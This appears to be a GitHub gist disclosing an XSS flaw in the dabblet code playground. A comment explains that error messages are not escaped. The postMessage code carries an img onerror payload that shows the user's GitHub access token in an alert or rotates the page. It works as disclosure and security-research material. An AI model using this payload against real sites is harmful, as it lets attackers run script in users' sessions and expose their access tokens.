Skip to content

Instantly share code, notes, and snippets.

@FWeinb
Last active July 24, 2019 21:14
Show Gist options
  • Save FWeinb/d134a35635620818e3e09045ba12812d to your computer and use it in GitHub Desktop.
Save FWeinb/d134a35635620818e3e09045ba12812d to your computer and use it in GitHub Desktop.
The first commented line is your dabblet’s title
/**
* The first commented line is your dabblet’s title
*/
background: #f06;
background: linear-gradient(45deg, #f06, yellow);
min-height: 100%;
<script>
</script>
// XSS:
// name, message and lineNumber
// are not escaped
// https://github.com/LeaVerou/dabblet/blob/e0e125797483762fe7a96f8184bd2e4b38ed0263/code/dabblet.js#L596
parent.postMessage(JSON.stringify({
action: 'jserror',data: {
name: "",
message:"<img src='' onerror='window.user ? alert(`Hello ${user.name}, Github access_token: (${ACCESS_TOKEN})`) : document.body.style.transform = `rotate(180deg)`'/>",
lineNumber: 0
}
}), '*');
{"view":"split","fontsize":"120","seethrough":"","prefixfree":"1","page":"javascript"}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment